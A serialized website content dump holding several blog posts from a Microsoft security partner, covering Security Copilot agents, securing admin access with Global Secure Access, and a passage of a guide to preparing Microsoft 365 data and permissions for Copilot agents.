Eine schnelle Analyse bestätigt den Verdacht – Ransomware. Innerhalb kürzester Zeit sind zentrale Systeme kompromittiert. Was folgt, ist ein Wettlauf gegen die Zeit: Systeme absichern, kritische Bereiche isolieren und anschließend die Wiederherstellung starten.","Security, CSOC, Microsoft Security, Cyber Attacks, Prevention",{"quote":511,"infos":7634},{"bgColor":1780,"headline":1961,"subline":7635,"level":809,"textStyling":1784,"flush":1785,"person":7636,"form":7638},"Du willst wissen, wie unsere 10 Microsoft-nativen Security Copilot Agents deine Security-, Entra-, Intune- und Purview-Operationen vereinfachen? Füll das Formular aus – wir teilen Insights, Demos und Praxisbeispiele, die zu deinem Bedarf passen.",{"image":1787,"cloudinary":511,"alt":1788,"name":804,"quotee":804,"quoteeTitle":1789,"quote":7637},"Was unsere Kunden gewinnen, ist Zeit und Klarheit: Security-Teams verbringen weniger Zeit mit manueller Analyse und Troubleshooting – und können sich auf die Bedrohungen konzentrieren, die wirklich zählen. Mit unseren 10 Security Copilot Agents helfen wir ihnen, ihre Security zu stärken, Kosten zu senken und den Alltag direkt in Microsoft Security zu vereinfachen.",{"ctaText":1802,"cta":7639,"method":1074,"action":1805,"fields":7640},{"skin":1804},[7641,7642,7643,7644,7645,7646,7647,7648,7649,7650,7651,7652],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":2185},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":2305},{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":2187},{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},{"label":2190,"type":1830,"id":1831,"required":511,"requiredMsg":1832},{"type":1808,"id":1834,"value":373},{"type":1808,"id":1836,"value":2193},{"type":1808,"id":1839,"value":7473},{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},[7654,7656],{"lang":1088,"href":7655},"/en/posts/2025-10-07-prevent-cyber-attacks.md",{"lang":1091,"href":7657},"/es/posts/2025-10-07-prevent-cyber-attacks.md",{"noMargin":511},{"slick":511},"/posts/2025-10-07-prevent-cyber-attacks",{"title":7497,"description":1062},"posts/2025-10-07-prevent-cyber-attacks",[373,7664],"CSOC","HB6QIfKH9OjlDzG2VM1PoceYJ9tigP_zKgJunwPk9QY",{"id":7667,"title":7668,"author":7669,"body":7670,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":7782,"moment":7784,"navigation":511,"path":7822,"seo":7823,"stem":7824,"tags":7825,"webcast":752,"__hash__":7828},"content_de/posts/2025-09-30-security-store.md","Als einer der Ersten weltweit: glueckkanja Security Copilot Agents",[1306],{"type":806,"value":7671,"toc":7776},[7672,7676,7678,7681,7683,7686,7689,7692,7695,7699,7706,7710,7720,7731,7748,7759,7766,7770],[809,7673,7675],{"id":7674},"zum-start-des-microsoft-security-store-stellte-glueckkanja-10-security-copilot-agents-vor","Zum Start des Microsoft Security Store stellte glueckkanja 10 Security Copilot Agents vor",[814,7677,816],{},[814,7679,7680],{},"Offenbach am Main, 30. September 2025 – glueckkanja ist ab sofort Teil des Microsoft Security Store Partner-Ökosystems. Als einer der allerersten Partner wurde glueckkanja ausgewählt – dank langjähriger Erfahrung mit Microsoft Security-Technologien, Innovationsfreude und der engen Zusammenarbeit mit Microsoft.",[2371,7682],{":quotes":2371,":no-fullscreen":2043},[2045,7684],{"style":7685},"padding-top:50px;",[814,7687,7688],{},"Wir arbeiten eng mit Microsoft zusammen und bringen unsere Erfahrung sowie direktes Kundenfeedback in die Weiterentwicklung des Microsoft Security Store ein, ob bei neuen Features, Integrationen oder konkreten Anforderungen aus der Praxis. Mit zertifizierten Lösungen und KI-Agents, die nahtlos in Microsoft-Security-Produkte integriert sind, erleichtern wir Unternehmen den Zugang zu vertrauenswürdigen Technologien: schnell gefunden, einfach gekauft, sofort produktiv eingesetzt. Über den Security Store helfen wir dir, Ergebnisse zu beschleunigen und den Betrieb zu vereinfachen mit geprüften, leicht ausrollbaren Lösungen, die perfekt zusammenspielen.",[814,7690,7691],{},"Der Microsoft Security Store bietet dir einen zentralen Ort, um Security-Lösungen und KI-Agents zu entdecken, zu erwerben und bereitzustellen. Zertifizierte Integrationen, transparente Abrechnung und schnelle Implementierung stärken deine Security und schaffen Freiraum fürs Wesentliche.",[814,7693,7694],{},"Damit setzt der Microsoft Security Store neue Maßstäbe für die einfache Beschaffung und den effizienten Betrieb von Cybersecurity-Lösungen. Durch die Bündelung verschiedenster Technologien lassen sich moderne Security-Ansätze schneller entdecken, nutzen und produktiv machen. Features wie Framework-Alignment, einfache Abrechnung und geführte Bereitstellung helfen Security-Teams, Komplexität zu reduzieren, Innovationen schneller einzusetzen und den Wert ihrer Investitionen voll auszuschöpfen.",[809,7696,7698],{"id":7697},"mehr-erfahren-im-offiziellen-microsoft-blog","Mehr erfahren im offiziellen Microsoft-Blog:",[814,7700,7701],{},[821,7702,7705],{"href":7703,"rel":7704},"https://techcommunity.microsoft.com/blog/securitycopilotblog/agentic-security-your-way-build-your-own-security-copilot-agents/4454555",[825],"Agentic Security Your Way: Build Your Own Security Copilot Agents",[809,7707,7709],{"id":7708},"über-glueckkanja","Über glueckkanja",[814,7711,7712,7715,7716,7719],{},[973,7713,7714],{},"We Manage and Protect Microsoft Ecosystems at Scale","\nglueckkanja zählt zu den führenden Cloud Managed Service Providern und Top-Microsoft-Partnern für sichere, skalierbare und vollständig ",[973,7717,7718],{},"cloud-native Microsoft-Umgebungen."," Mit einem einheitlichen Blueprint-Ansatz und Infrastructure-as-Code-Methodik beschleunigen wir die digitale Transformation und Cloud-Adoption von Enterprise-Kunden – sicher, konsistent und zukunftsfähig.",[814,7721,7722,7723,7726,7727,7730],{},"Unser Portfolio bietet umfassende Managed Services für ",[973,7724,7725],{},"Microsoft Azure, Microsoft Entra und Microsoft Intune"," – für effizientes Identity & Access Management, modernes Endpoint Management und den Aufbau konformer Zero-Trust-Infrastrukturen. Ergänzt wird das Angebot durch ",[973,7728,7729],{},"24/7 Security Operations"," und Incident Response aus unserem eigenen Cybersecurity Operations Center (SOC) für kontinuierlichen Schutz, schnelle Reaktion und Compliance mit aktuellen Standards.",[814,7732,7733,7734,7736,7737,2247,7739,7741,7742,7744,7745,7747],{},"Für ein nahtlos cloud-natives Microsoft-Erlebnis haben wir eigene Tools entwickelt, die Management und Automatisierung radikal vereinfachen: ",[973,7735,543],{}," für sichere Zusammenarbeit mit Microsoft 365-Daten, ",[973,7738,582],{},[973,7740,531],{}," für passwortlose, Intune-integrierte Netzwerkauthentifizierung, ",[973,7743,519],{}," für skalierbare Softwareverteilung und ",[973,7746,570],{}," für vollautomatisierte Bereitstellung von CloudPCs und Hardware-Clients via Intune.",[814,7749,7750,7751,7754,7755,7758],{},"Als einer der ersten Partner weltweit erhielten wir ",[973,7752,7753],{},"Microsoft Verified MXDR","-Zertifizierung – ein Beleg für exzellente Managed Security Operations. Mit rund 250 Cloud-Profis und einer starken Erfolgsbilanz wurden wir mehrfach als Microsoft Worldwide Partner of the Year ausgezeichnet und sind seit 2019 durchgehend im Spitzenfeld des ",[973,7756,7757],{},"ISG Microsoft 365","-Quadranten Deutschland.",[814,7760,7761,7762,7765],{},"Darüber hinaus gehören wir zu Deutschlands TOP 100 Innovatoren und unsere ",[973,7763,7764],{},"herausragende 4,7/5 Kununu-Bewertung"," (Deutschlands führende Arbeitgeberplattform) unterstreicht unsere Kultur von Exzellenz und Mitarbeiterzufriedenheit.",[809,7767,7769],{"id":7768},"lern-more","Lern more",[814,7771,7772,7773],{},"glueckkanja joins the Microsoft Security Store Partner Ecosystem with 10 Security Copilot Agents. Learn more: ",[821,7774,7703],{"href":7703,"rel":7775},[825],{"title":1062,"searchDepth":1063,"depth":1063,"links":7777},[7778,7779,7780,7781],{"id":7674,"depth":1063,"text":7675},{"id":7697,"depth":1063,"text":7698},{"id":7708,"depth":1063,"text":7709},{"id":7768,"depth":1063,"text":7769},{"lang":4,"seoTitle":7783,"titleClass":1077,"date":7784,"categories":7785,"blogtitlepic":7786,"socialimg":7787,"customExcerpt":7788,"keywords":7789,"maxContent":752,"hreflang":7790,"quotes":7795,"contactInContent":7802,"footer":7820,"scripts":7821,"published":511},"glueckkanja ist Launch-Partner im Microsoft Security Store mit 10 Security Copilot Agents","2025-09-30",[373],"head-security-agents.jpg","/blog/heads/head-security-agents.jpg","glueckkanja gehört zu den ersten Partnern im Microsoft Security Store Preview und liefert zum Start zehn Microsoft-native Security Copilot Agents für Security, Entra, Intune und Purview. Die Agents wurden in enger Zusammenarbeit mit Kunden entwickelt und sind von Anfang an auf reale Herausforderungen im Security-Alltag zugeschnitten – nahtlos integriert, enterprise-ready und gebaut, um Security Operations einfacher und schneller zu machen.","Microsoft Security Store Preview, Security Copilot Agents, glueckkanja Microsoft Partner, Microsoft-native Sicherheitslösungen, KI-gestützte Cybersecurity-Tools, Entra Security Agents, Intune Security Automation, Purview Compliance Agents, Cloud Security Microsoft Copilot, Microsoft Security Operations vereinfachen",[7791,7793],{"lang":1088,"href":7792},"/en/posts/2025-09-30-security-store",{"lang":1091,"href":7794},"/es/posts/2025-09-30-security-store",{"items":7796},[7797],{"text":7798,"name":7799,"position":7800,"company":7801},"Ein Forensic Agent von glueckkanja AG ermöglicht eine tiefgehende Analyse von Defender XDR-Vorfällen und beschleunigt damit Untersuchungen. Der Privileged Admin Watchdog Agent unterstützt zugleich die Umsetzung des „Zero Standing Privilege“-Prinzips, indem er dauerhafte Administratoridentitäten eliminiert. Gemeinsam mit sechs weiteren Agents im Security Store unterstreicht glueckkanja AG, wie Unternehmen ihre Security- und IT-Herausforderungen wirksam meistern können.","Dorothy Li","Corporate Vice President, Security Copilot, Ecosystem and Marketplace","Microsoft",{"quote":511,"infos":7803},{"bgColor":1780,"headline":1961,"subline":7635,"level":809,"textStyling":1784,"flush":1785,"person":7804,"form":7805},{"image":1787,"cloudinary":511,"alt":1788,"name":804,"quotee":804,"quoteeTitle":1789,"quote":7637},{"ctaText":1802,"cta":7806,"method":1074,"action":1805,"fields":7807},{"skin":1804},[7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":2185},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":2305},{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":2187},{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},{"label":2190,"type":1830,"id":1831,"required":511,"requiredMsg":1832},{"type":1808,"id":1834,"value":373},{"type":1808,"id":1836,"value":2193},{"type":1808,"id":1839,"value":7473},{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},{"noMargin":511},{"slick":511},"/posts/2025-09-30-security-store",{"title":7668,"description":1062},"posts/2025-09-30-security-store",[5233,7826,7827],"Security Copilot","Microsoft Security","vNCd_yhpVz89F34XMWNjEf8O_3YR48Kdmhe6AvcPCYM",{"id":7830,"title":7831,"author":7832,"body":7833,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":8048,"moment":8050,"navigation":511,"path":8083,"seo":8084,"stem":8085,"tags":8086,"webcast":752,"__hash__":8090},"content_de/posts/2025-09-25-gsa-unlocked.md","Global Secure Access Unlocked",[1219,1375],{"type":806,"value":7834,"toc":8034},[7835,7839,7841,7844,7847,7850,7854,7856,7859,7864,7867,7872,7875,7881,7885,7887,7890,7894,7896,7899,7902,7905,7908,7913,7917,7919,7922,7930,7935,7939,7941,7944,7947,7950,7955,7959,7961,7964,7967,7970,7975,7979,7981,7984,7987,7990,7998,8001,8006,8010,8012,8015,8018,8022,8026,8028,8031],[809,7836,7838],{"id":7837},"what-is-a-managed-red-tenant","What is a Managed Red Tenant?",[814,7840,816],{},[814,7842,7843],{},"The Managed Red Tenant combines our extensive experience in managed services with proven blueprints in the areas of workplace, Azure, and security.",[814,7845,7846],{},"The result: An isolated, fully cloud-based as-code managed environment that effectively protects administrative users and endpoints – even in target environments with multiple Microsoft Entra tenants and Active Directory domains.",[814,7848,7849],{},"Our solution relies on native, cloud-based identity and security features from Microsoft and strictly adheres to Zero Trust principles.",[1684,7851,7853],{"id":7852},"global-secure-access-as-security-service-edge","Global Secure Access as Security Service Edge",[814,7855,2471],{},[814,7857,7858],{},"We have integrated the latest innovations from Global Secure Access into various components of the Managed Red Tenant to enhance security when accessing Virtual Access Workstations (VAWs) and to protect and restrict outgoing privileged access.",[814,7860,7861],{},[973,7862,7863],{},"Microsoft Entra Internet Access",[814,7865,7866],{},"functioning as an identity-centric Secure Web Gateway (SWG), has been implemented to block public internet access and restrict connectivity to privileged interfaces and the authorized company’s tenant environments only. Additional features, such as Universal Conditional Access Evaluation (CAE), enable near real-time access blocking.",[814,7868,7869],{},[973,7870,7871],{},"Microsoft Entra Private Access",[814,7873,7874],{},"serves as an identity-centric Zero Trust Network Access (ZTNA) solution and is the core of our approach to providing secure and private access to VAWs. Its integration into our solution adds an extra layer of protection for privileged sessions on AVD-based endpoints by enforcing Conditional Access on the accessing client before establishing connectivity to the VAW. Securing access and applying Zero Trust principle to manage private or on-premises resources is another use cases where we take benefit of Private Access.",[814,7876,7877],{},[1728,7878],{"alt":7879,"src":7880},"image.png","https://res.cloudinary.com/c4a8/image/upload/blog/pics/gsa-img-01.png",[809,7882,7884],{"id":7883},"use-cases-for-global-secure-access-in-the-managed-red-tenant","Use Cases for Global Secure Access in the Managed Red Tenant",[814,7886,816],{},[814,7888,7889],{},"Global Secure Access is one of the core components in the design of our Managed Red Tenant, and we’re excited to elevate both security and usability to a new level. The added value becomes most evident when looking at the individual use cases, which we’ll showcase in this blog.",[1684,7891,7893],{"id":7892},"access-to-virtual-access-workstations","Access to Virtual Access Workstations",[814,7895,2471],{},[814,7897,7898],{},"Some organizations choose not to equip all administrators with physical Privileged Admin Workstations (PAWs). For these low-privileged admins, we offer what we call Virtual Access Workstations (VAWs).",[814,7900,7901],{},"The most critical aspect here is secure access to the VAWs, and we consider it essential to establish a high level of security—where Entra Private Access plays a key role.",[814,7903,7904],{},"Administrators connect to the VAWs from their enterprise devices and sign in using their account from the Managed Red Tenant. Because of this identity switch, the accessing user is sourced from a different tenant than the the original device and will not able to present a device compliance status.",[814,7906,7907],{},"Therefore, we are using global secure access for pre-authentication using the original user from the device. Since our VAWs do not expose public endpoints and are only accessible via Entra Private Access, we can secure network access to a very high degree. Conditional Access in the workforce environment enforces strong user and device authentication, including device compliance and risk-based controls.",[814,7909,7910],{},[1728,7911],{"alt":7879,"src":7912},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/gsa-img-02.png",[1684,7914,7916],{"id":7915},"secure-web-filtering","Secure Web Filtering",[814,7918,2471],{},[814,7920,7921],{},"A key characteristic of administrative devices is their strictly limited access to applications, designed to minimize the attack surface as much as possible. While local solutions such as proxy.pac files or shared centralized proxies (not T0 exclusive) were commonly used in the past, we’ve opted for Entra Internet Access for devices within the Managed Red Tenant.",[965,7923,7924,7927],{},[970,7925,7926],{},"Internet access is only permitted from compliant devices and after strong user authentication",[970,7928,7929],{},"Access is restricted to explicitly approved URLs, and since HTTPS traffic (where possible) is decrypted and inspected, it’s also feasible to limit access to specific paths—for example, within Azure DevOps or GitHub",[814,7931,7932],{},[1728,7933],{"alt":7879,"src":7934},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/gsa-img-03.png",[1684,7936,7938],{"id":7937},"tenant-restrictions-for-saas-services-and-administrative-interfaces","Tenant Restrictions for SaaS Services and Administrative Interfaces",[814,7940,2471],{},[814,7942,7943],{},"In SaaS services and administrative interfaces, it’s common for URLs to be identical across all tenants, which makes them difficult to control using the web filtering methods described above.",[814,7945,7946],{},"To ensure that only accounts from the Managed Red Tenant can sign in to Microsoft’s approved portals from an administrative device, we leverage the Tenant Restriction feature of Global Secure Access.",[814,7948,7949],{},"Through Entra Internet Access, Entra ID is signaled which tenants are permitted for sign-in. This guarantees that all policies from the Managed Red Tenant are enforced and that administrative access occurs exclusively via B2B collaboration.",[814,7951,7952],{},[1728,7953],{"alt":7879,"src":7954},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/gsa-img-04.png",[1684,7956,7958],{"id":7957},"on-premises-access","On-Premises Access",[814,7960,2471],{},[814,7962,7963],{},"Of course, a Managed Red Tenant can also be used to administer on-premises and IaaS environments, which requires secure access to the datacenters. Entra Private Access provides us with Zero Trust Network Access that combines top-tier security standards with a flexible architecture and strong performance.",[814,7965,7966],{},"Access to datacenters and IaaS environments depends on robust user and device authentication, including device compliance and risk-based controls.",[814,7968,7969],{},"Managing individual targets as app segments enables granular access control, which is automated using Entra Governance features. This extends functions already widely used in the Managed Red Tenant—such as Just-In-Time administration and approval workflows—into the network layer.",[814,7971,7972],{},[1728,7973],{"alt":7879,"src":7974},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/gsa-img-05.png",[1684,7976,7978],{"id":7977},"revocation-access-in-near-real-time","Revocation Access in Near Real-Time",[814,7980,2471],{},[814,7982,7983],{},"Zero Trust also means being prepared to quickly and effectively contain threats—even within the most secure architecture—and to isolate compromised components.",[814,7985,7986],{},"In a Managed Red Tenant environment, we’re not only prepared for the compromise of users and devices within the tenant itself, but also for the (most likely) scenario where an attack originates from an admin’s office PC and then propagates to the Virtual Admin Workstation.",[814,7988,7989],{},"Thanks to the Universal Continuous Access Evaluation (CAE) feature in Global Secure Access, the following actions are automatically triggered:",[965,7991,7992,7995],{},[970,7993,7994],{},"Access to the Virtual Admin Workstation via Entra Private Access is interrupted if, for example, the user risk level of the account in the Workforce Tenant is set to High",[970,7996,7997],{},"Access to admin interfaces and the datacenter environment is revoked if, for example, the sessions of the account in the Managed Red Tenant are terminated",[814,7999,8000],{},"Additionally, full isolation of all devices and accounts within the Managed Red Tenant can be initiated at any time by the integrated CSOC service.",[814,8002,8003],{},[1728,8004],{"alt":7879,"src":8005},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/gsa-img-06.png",[1684,8007,8009],{"id":8008},"enriched-sign-ins-and-token-insights","Enriched Sign-Ins and Token Insights",[814,8011,2471],{},[814,8013,8014],{},"Beyond its many features for access control, Global Secure Access is a true game changer when it comes to logging. We gain significantly more telemetry from the network layer and can correlate it with existing sign-in and audit logs.",[814,8016,8017],{},"This enables our CSOC to identify which actions were still performed after containment was triggered—for example, in cases where not all tokens supported Continuous Access Evaluation (CAE).",[814,8019,8020],{},[1728,8021],{"alt":7879,"src":8005},[809,8023,8025],{"id":8024},"final-thoughts","Final thoughts",[814,8027,816],{},[814,8029,8030],{},"This blog is published alongside a webcast where we explore the Managed Red Tenant, Global Secure Access, the integration process, and the relevant use cases, supported by live demos.",[814,8032,8033],{},"If this blog has sparked your interest, we definitely encourage you to check out the webcast. And of course, we’re always happy to hear from you directly!",{"title":1062,"searchDepth":1063,"depth":1063,"links":8035},[8036,8039,8047],{"id":7837,"depth":1063,"text":7838,"children":8037},[8038],{"id":7852,"depth":1765,"text":7853},{"id":7883,"depth":1063,"text":7884,"children":8040},[8041,8042,8043,8044,8045,8046],{"id":7892,"depth":1765,"text":7893},{"id":7915,"depth":1765,"text":7916},{"id":7937,"depth":1765,"text":7938},{"id":7957,"depth":1765,"text":7958},{"id":7977,"depth":1765,"text":7978},{"id":8008,"depth":1765,"text":8009},{"id":8024,"depth":1063,"text":8025},{"lang":4,"seoTitle":8049,"titleClass":1077,"date":8050,"categories":8051,"blogtitlepic":8052,"socialimg":8053,"customExcerpt":8054,"keywords":8055,"maxContent":511,"textImageTeaser":8056,"asideNav":8068,"hreflang":8076,"footer":8081,"scripts":8082,"published":511},"Securing Microsoft 365 Admin Access with Entra and Global Secure Access","2025-09-25",[373],"head-gsa-unlocked.jpg","/blog/heads/head-gsa-unlocked.jpg","This blog explores how Microsoft Global Secure Access enhances security and control in our Managed Red Tenant. With Entra Internet Access and Private Access, organizations can secure admin sessions, enforce Zero Trust, and streamline access to cloud and on-prem resources. Real-world use cases and architecture insights show how to protect M365 environments effectively.","Microsoft Global Secure Access, Entra Internet Access, Entra Private Access, Managed Red Tenant, Zero Trust, M365 security, conditional access, admin access control, secure web filtering, virtual admin workstations, CAE, tenant restrictions, Microsoft 365, cloud security",{"image":8057,"cloudinary":511,"alt":8058,"bgColor":8059,"offset":511,"white":511,"list":8060,"left":752,"float":752,"firstColWidth":3062,"secondColWidth":3074,"copyClasses":8064,"headline":8065,"subline":8066,"spacing":8067},"/icons/shape-managed-red-tenant.svg","Copilot Icon","#E44418",[8061],{"ctaText":8062,"ctaHref":8063,"ctaType":1704,"external":511},"Watch the full session on YouTube","https://youtu.be/SpEOIdoA-uc","richtext","Global Secure Access Unlocked: Real World Implementation in Managed Red Tenant","\u003Cp>In the Managed Red Tenant, we enforce strict separation for privileged access. Live demos will show how we secure admin workflows using Global Secure Access.\u003Cbr /> \u003Cbr /> In our English-language session, you’ll learn:\u003C/p> \u003Cul> \u003Cli>How PAWs and VAWs with identity switching create secure admin workstations\u003C/li> \u003Cli>How Tenant Restrictions and Cross-Tenant Access Policies allow only authorized access\u003C/li> \u003Cli>How Per-App Tunnels and Continuous Access Evaluation are replacing traditional VPNs\u003C/li> \u003Cli>How Just-in-Time administration works in practice with Microsoft PIM\u003C/li> \u003C/ul> ","space-top-2 space-bottom-2 mt-10",{"menuItems":8069},[8070,8072,8074],{"href":8071,"text":7838},"#what-is-a-managed-red-tenant",{"href":8073,"text":7884},"#use-cases-for-global-secure-access-in-the-managed-red-tenant",{"href":8075,"text":8025},"#final-thoughts",[8077,8079],{"lang":4,"href":8078},"/de/posts/2025-08-26-agent-ready-infrastructure",{"lang":1091,"href":8080},"/es/posts/2025-08-26-agent-ready-infrastructure",{"noMargin":511},{"slick":511},"/posts/2025-09-25-gsa-unlocked",{"title":7831,"description":1062},"posts/2025-09-25-gsa-unlocked",[149,8087,8088,8089,435],"M365 Data Governance","SharePoint Security","AI Data Preparation","naAKhREJozb07KBOVOoeaV8Ce5SAJ54N8Zgo_1LiBXw",{"id":8092,"title":8093,"author":8094,"body":8095,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":8779,"moment":8781,"navigation":511,"path":8849,"seo":8850,"stem":8851,"tags":8852,"webcast":752,"__hash__":8853},"content_de/posts/2025-08-28-agent-ready-infrastructure.md","This is why you need a solid infrastructure to be agent-ready in 2025",[1370],{"type":806,"value":8096,"toc":8741},[8097,8101,8103,8109,8116,8120,8122,8125,8128,8133,8143,8150,8155,8164,8174,8192,8196,8198,8201,8205,8207,8210,8214,8216,8223,8227,8229,8240,8247,8249,8252,8272,8276,8278,8281,8285,8287,8294,8298,8300,8303,8307,8309,8320,8324,8326,8329,8333,8335,8338,8343,8357,8360,8363,8367,8369,8373,8375,8382,8385,8393,8401,8405,8407,8410,8416,8419,8424,8429,8433,8435,8442,8446,8448,8455,8463,8467,8469,8472,8475,8479,8481,8484,8487,8494,8498,8500,8503,8506,8511,8514,8517,8521,8523,8529,8532,8538,8541,8546,8550,8552,8611,8615,8617,8639,8643,8645,8648,8652,8654,8657,8661,8663,8670,8674,8676,8687,8694,8699,8702,8706,8708,8714,8721,8725,8728,8731,8733,8735,8738],[809,8098,8100],{"id":8099},"prologue","Prologue",[814,8102,816],{},[814,8104,8105,8106,3711],{},"With this omnipresence, many ideas and the desire to take action or at least experiment arise. At glueckkanja AG, we support our customers throughout this process. Of course, we are already developing and building agents, but in 80% of our projects, the primary focus is on preparing the data and tenant for agent creation. Before you implement Copilot productively in your organization, it's worthwhile to take a critical look at your infrastructure. When making decisions in this area, there are several important aspects to understand before deploying AI agents on a large scale. That’s why, in this blog post, I will guide you through the essential steps and differences. In a time when AI assistants like Microsoft 365 Copilot Agents promise to transform the working world, one principle holds true above all: ",[1735,8107,8108],{},"AI is only as good as the system beneath it",[814,8110,8111,8112,8115],{},"This comprehensive guide outlines ",[973,8113,8114],{},"how to prepare your data and infrastructure"," for Copilot Agents, covering key practices in SharePoint, Teams, and the Power Platform.",[809,8117,8119],{"id":8118},"why-your-infrastructure-data-matters","Why your infrastructure (data) matters",[814,8121,816],{},[814,8123,8124],{},"As we utilize AI agents, it is imperative to understand that these agents do not inherently possess knowledge about our organization, our data, or our unique operational context. By default, an AI agent only carries the built-in knowledge derived from the training of the Large Language Model (LLM). To effectively enhance and extend the capabilities of these AI agents, it is essential to systematically integrate various components. This enhancement can be achieved through the implementation of System Prompts, Knowledge Bases, Connectors, Web-Search functionalities, access to Microsoft Graph, Semantic Search, and additional tools. These components collectively enable the AI agents to deliver more precise, contextually relevant responses and actions, aligning closely with the specific needs and data of the organization. Since we are now in the very beginning of the agentic area, many of us will start with simple agents that source information based on existing SharePoint Online libraries.",[814,8126,8127],{},"For us in IT, that means we need to take care about our data in SharePoint Online more than ever!",[1680,8129,8130],{},[814,8131,8132],{},"SharePoint Online = Knowledge = Data and Data = Key",[814,8134,8135,8138,8139,8142],{},[973,8136,8137],{},"My clear message:"," Before adding AI copilots to your organization, ",[973,8140,8141],{},"get your data house in order",". The same data that feeds your Copilot Agents also feeds Microsoft 365 Copilot itself.",[814,8144,8145,8146,8149],{},"And not only that! Microsoft 365 Copilot is assessing the same data. *If that data is cluttered, overshared, or poorly secured, the AI could surface incorrect or sensitive information unexpectedly *or example, imagine asking Copilot about company structure and receiving details of a confidential reorganization plan you weren’t meant to see. Such incidents occur when content is ",[973,8147,8148],{},"overshared"," (available too broadly) on platforms like SharePoint or Teams. Note: Copilot respects all existing permissions, that means something like only can happen when permissions are misconfigured. Conversely, if data is siloed or inaccessible, AI assistants will be less useful.",[1680,8151,8152],{},[814,8153,8154],{},"Copilot only surfaces organizational data that the individual user has at least view permissions for!",[814,8156,8157,976,8160],{},[973,8158,8159],{},"Source:",[821,8161,8162],{"href":8162,"rel":8163},"https://learn.microsoft.com/en-gb/copilot/microsoft-365/microsoft-365-copilot-privacy?azure-portal=true",[825],[814,8165,8166,8169,8170,8173],{},[973,8167,8168],{},"Key takeaway:"," Enterprise AI succeeds only with a solid data foundation. A recent Microsoft report identifies ",[973,8171,8172],{},"data oversharing, data leakage, and noncompliant usage"," as top challenges to address before deploying AI. Organizations that invest in preparation of SharePoint Online and other data sources, will unlock Copilot’s benefits with confidence, while those who don’t risk security breaches or irrelevant AI outputs. Studies show about one-third of decision-makers lack full visibility into critical data.",[8175,8176,968,8177,968,8182,968,8185,968,8189],"picture",{},[8178,8179],"source",{"media":8180,"srcSet":8181},"(min-width: 992px)","https://res.cloudinary.com/c4a8/image/upload/blog/pics/data-security-report-statistics.png",[8178,8183],{"media":8184,"srcSet":8181},"(min-width: 768px)",[8178,8186],{"media":8187,"srcSet":8188},"(min-width: 576px)","https://res.cloudinary.com/c4a8/image/upload/blog/pics/data-security-report-statistics-mob.png",[1728,8190],{"src":8188,"alt":8191},"Two statistics on data risks: 30% of decision-makers lack visibility into business-critical data (Visibility Gap) and 87% of security leaders reported a data breach in the past year (Data Breach Prevalence).",[809,8193,8195],{"id":8194},"_10-steps-to-improve-your-m365-data-infrastructure-now","10 steps to improve your M365 data infrastructure now",[814,8197,816],{},[814,8199,8200],{},"Now we know your agents will need data. As we as glueckkanja step in these projects, this is our typical 10-point list that we work from the top to end with our customers.",[1684,8202,8204],{"id":8203},"step-1-check-core-sharing-settings","Step 1: Check Core Sharing Settings",[814,8206,2471],{},[814,8208,8209],{},"Verify tenant-wide settings that could lead to oversharing. For example, scrutinize default link sharing policies (e.g. if “Anyone with the link” or “People in your organization” is allowed by default for SharePoint/OneDrive), whether users can create public Teams by default, and if your Power Platform environment is open without governance. Misconfigured defaults here are a common cause of unintentional broad access..",[1684,8211,8213],{"id":8212},"step-2-audit-public-teams","Step 2: Audit Public Teams",[814,8215,2471],{},[814,8217,8218,8219,8222],{},"Review any Microsoft Teams marked as “Public.” A public Team means ",[1735,8220,8221],{},"anyone in your organization"," can discover and access its content. Ensure that any Team set to public truly contains only non-sensitive, broadly suitable content. If not, switch it to private or adjust membership. (It’s easy for a Team to be created as Public and later forgotten, exposing files to all employees.)",[1684,8224,8226],{"id":8225},"step-3-review-graph-connectors","Step 3: Review Graph Connectors",[814,8228,2471],{},[814,8230,8231,8232,8235,8236,8239],{},"Check if your tenant has any ",[1735,8233,8234],{},"Microsoft Graph Connectors"," set up that pull in third-party data (e.g. from external file systems, wikis, etc.). Remove or secure any connector that indexes data not everyone should see. ",[973,8237,8238],{},"Why?"," Content indexed via Graph Connectors becomes part of your Microsoft Graph search index – meaning Copilot can potentially use it to answer prompts. You only want relevant, intended data sources connected.",[1684,8241,8243,8244],{"id":8242},"step-4-generate-a-sharepoint-online-baseline-report","Step 4: Generate a ",[973,8245,8246],{},"SharePoint Online Baseline Report",[814,8248,2471],{},[814,8250,8251],{},"SPO has different possible risks for unwanted data in Agents and Copilot. You need to look for different key metrics:",[965,8253,8254,8257,8260,8263,8266,8269],{},[970,8255,8256],{},"Broken Permission Inheritance on a folder-level",[970,8258,8259],{},"Public SharePoint Sites",[970,8261,8262],{},"Use of \"Everyone Except External Users\" or other dynamic group that contain all users",[970,8264,8265],{},"Anyone Sharing Links",[970,8267,8268],{},"Everyone-in-my-org Sharing Links",[970,8270,8271],{},"Unwanted people in the Site Admins / Owners / Members / Visitors Group",[1684,8273,8275],{"id":8274},"step-5-categorize-and-prioritize-risks","Step 5: Categorize and Prioritize Risks",[814,8277,2471],{},[814,8279,8280],{},"Take the findings from Steps 1–4 and rank them by severity. Which sites or files carry the most business-critical or sensitive data and also have exposure risks? Prioritize fixing those. By layering business context (e.g., a site with financial data vs. a site with generic templates), you can focus on the most impactful issues 